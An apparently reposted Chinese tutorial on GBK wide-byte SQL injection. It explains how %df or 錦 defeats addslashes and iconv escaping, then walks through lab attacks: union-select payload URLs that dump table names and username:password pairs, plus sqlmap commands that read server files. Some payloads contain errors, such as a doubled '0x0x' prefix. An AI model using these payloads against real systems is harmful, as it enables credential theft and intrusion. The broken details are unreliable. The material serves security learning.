后台回复 宽字节注入 领pdf版本 "22年笔记"
1.基本概念
-
宽字节是相对于ascII这样单字节而言的;两个ascii单字节组合为双字节; 像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。 -
GBK是一种多字符的编码,通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。 -
转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“”进行转义;Mysql中转义的函数addslashes,mysql_real_escape_string,等,还有一种是配置magic_quote_gpc,PHP5.3就已经被废弃 ,5.4版本彻底移除,PHP高版本利用函数代替此功能。
2.宽字节注入
先了解下SQL的执行过程:
1、以php客户端为例,使用者输入数据后,会通过php的默认编码生成sql语句发送给服务器。
在php没有开启default_charset
编码时,php的默认编码为空
此时php会根据数据库中的编码自动来确定使用那种编码,可以使用<?php $a="逸"; echo strlen($m);
来进行判断,如果输出的值是3说明是utf-8
编码;
如果输出的值是2说明是gbk
编码;
2、服务器接收到请求后会把客户端编码的字符串转换成连接层编码字符串(具体流程是先使用系统变量 character_set_client 对 SQL 语句进行解码后,然后使用 系统变量 character_set_connection 对解码后的十六进制进行编码)。
3、进行内部操作前,将请求按照如下规则转化成内部操作字符集,如下:
一、使用字段 CHARACTER SET 设定值;
二、若上述值不存在,使用对应数据表的DEFAULT CHARACTER SET设定值;
三、若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
四、若上述值不存在,则使用character_set_server设定值。
4、执行完 SQL 语句之后,将执行结果按照 character_set_results 编码进行输出。
宽字节注入指的是mysql数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为',其中的十六进制是5C,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是'運',从而使单引号闭合(逃逸),进行注入攻击。
宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码
,然后服务器会根据character_set_connection把请求进行转码,从character_set_client转成character_set_connection,然后更新到数据库的时候,再转化成字段所对应的编码。
以下是数据的变化过程:
%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’
用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql
1.2 细节分析
单纯加上单引号没有报错,说明addslashes函数发挥了作用,将' --> '
,这样就不会存在注入了。(地址中192.168.1.4是目标机ip)
图1
此时,在单引号前面加上前面讲的%df,是mysql认为%df是一个汉字,这样'就可以逃逸出来,使id = '1'闭合。注:下图的乱码是因为编码格式的问题无法正常显示,乱码正常显示的结果应该是“運”(不影响实验,知道是什么字符即可)。
图2
这时候,按说是可以构造查询语句了,可是为什么还在报错呢,因为id='1'后面的'没有闭合,需要使用注释符号(-- '或#)将这个多余的'注释掉,这样就可以构造注入语句了。
-
执行的sql语句:
SELECT * FROM news WHERE id='1 %df' -- '
http://192.168.15.76/test1/index.php?id=1 %df' -- '
图3
下面就可以按照手动注入的思路进行数据的获取了。
1.3 确定表的字段数
由于接下来要采用union探测内容,而union的规则是必须要求列数相同才能正常展示,因此必须要探测列数,保证构造的注入查询结果与元查询结果列数与数据类型相同; 'order by 1'代表按第一列升序排序,若数字代表的列不存在,则会报错,由此可以探测出有多少列。
http://192.168.15.76/test1/index.php?id=1 %df' order by 4 -- '
图4
可知一共有3个字段
1.4 确定字段的显示位
显示位:表中数据第几位的字段可以 显示,因为并不是所有的查询结果都 会展示在页面中,因此需要探测页面 中展示的查询结果是哪一列的结果; 'union select 1,2,3 -- ' 通过显示的数字可以判断那些字段可以显示出来。
http://192.168.15.76/test1/index.php?id=-1 %df' union select 1,2,3 -- '
-
执行的sql语句是:SELECT * FROM news WHERE tid='-1 運' union select 1,2,3 -- ''
图5
id的值要用-1
或者该表中没有用过的id值,否则测试值会被覆盖。
1.5 获取当前数据库信息
-
现在只有两个字段可以显示信息,显然在后面的查询数据中,两个字段是不够用,可以使用:group_concat()函数(可以把查询出来的多行数据连接起来在一个字段中显示)
-
database()函数:查看当前数据库名称
-
version()函数:查看数据库版本信息
-
user():返回当前数据库连接使用的用户
-
char():将十进制ASCII码转化成字符
http://192.168.15.76/test1/index.php?id=-1 %df' union select 1,2,group_concat(database()) -- '
-
执行的sql语句是:SELECT * FROM news WHERE tid='-1 運' union select 1,2,group_concat(database()) -- ''
图6
当前数据库名为'security'。
1.6 获取security数据库中的表信息
Mysql有一个系统的数据库information_schema,里面保存着所有数据库的相关信息,使用该表完成注入。
http://192.168.15.76/test1/index.php?id=-1 %df' union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema=0x0x7365637572697479 -- '
图7
由于存在addslashes
转义了单引号,如果在table_schema
中继续使用单引号包裹数据库名字,就会报错,这时候需要使用十六进制编码来避免这个问题。
1.7 获取admin表的字段
column_name表示获取字段名(结果中出现的两次uid、name、uid其实是因为数据库中有两个名为admin的表,查询结果将这两个表都列了出来)
http://192.168.15.76/test1/index.php?id=-1 %df' union select 1,2,group_concat(column_name)
from information_schema.columns where table_name=0x7573657273 -- '
图8
table_name需要使用十六进制编码
1.8 获取users表的数据
http://192.168.15.76/test1/index.php?id=-1 %df' union select 1,2,concat(username,char(58),password) from users -- '
图9
char(58)是:的意思。
数据获取到了,可以更深入一下,比如进行文件的读取,提权等操作。
1.9 获取当前用户信息
此次会用到工具SQLMAP,sqlmap是一个SQL注入工具。此一具在业界称为神器。sqlmap是用python语言编写,如果想对工具详细了解,请到官网了解。
打开控制台输入如下:
python2 sqlmap.pyhttp://192.168.1.4/sqli-labs-master/Less-32/?id=1 %df' --current-user
询问的时候全选 y。
图10
看到是root用户,可以更方便的搞事情了。
1.10 读服务器中的文件 sqlmap 中--file-read
参数,可以读取服务器端任意文件
sqlmap -u "192.168.15.76/test1/index.php?id=1 %df'" --file-read="./index.php"
图11
已经将文件保存到了本地。
正常思路,接下来可以进行提权了。
步骤2:示例代码二的宽字节注入
2.1 源码
同样也试用了 addslashes转义,然后使用iconv进行转码,由utf-8 -->gbk
2.2 细节分析
为了避免宽字节注入,很多人使用iconv函数(能够完成各种字符集间的转换$id=iconv('UTF-8','GBK',$id);
),其实这样做是有很大风险的,仍旧可以造成宽字节注入。
可以使用逆向思维,先找一个gbk的汉字錦
,錦的utf-8编码是0xe98ca6,它的gbk编码是0xe55c
,是不是已经看出来了,当传入的值是錦'
,'
通过addslashes转义为'(%5c%27)
,錦
通过icov转换为%e5%5c
,终止变为了%e5%5c%5c%27
,不难看出%5c%5c正好把反斜杠转义,使单引号逃逸,造成注入。
2.3 按照步骤1的思路,可以执行宽字节注入
图12
2.4 出现报错信息,说明存在宽字节注入。(编码有问题所以“錦”显示的是乱码,知道即可)
图13
%5c%5c
正好把反斜杠转义,使单引号逃逸
原文始发于微信公众号(小趴菜网安学习路):深入了解宽字节注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论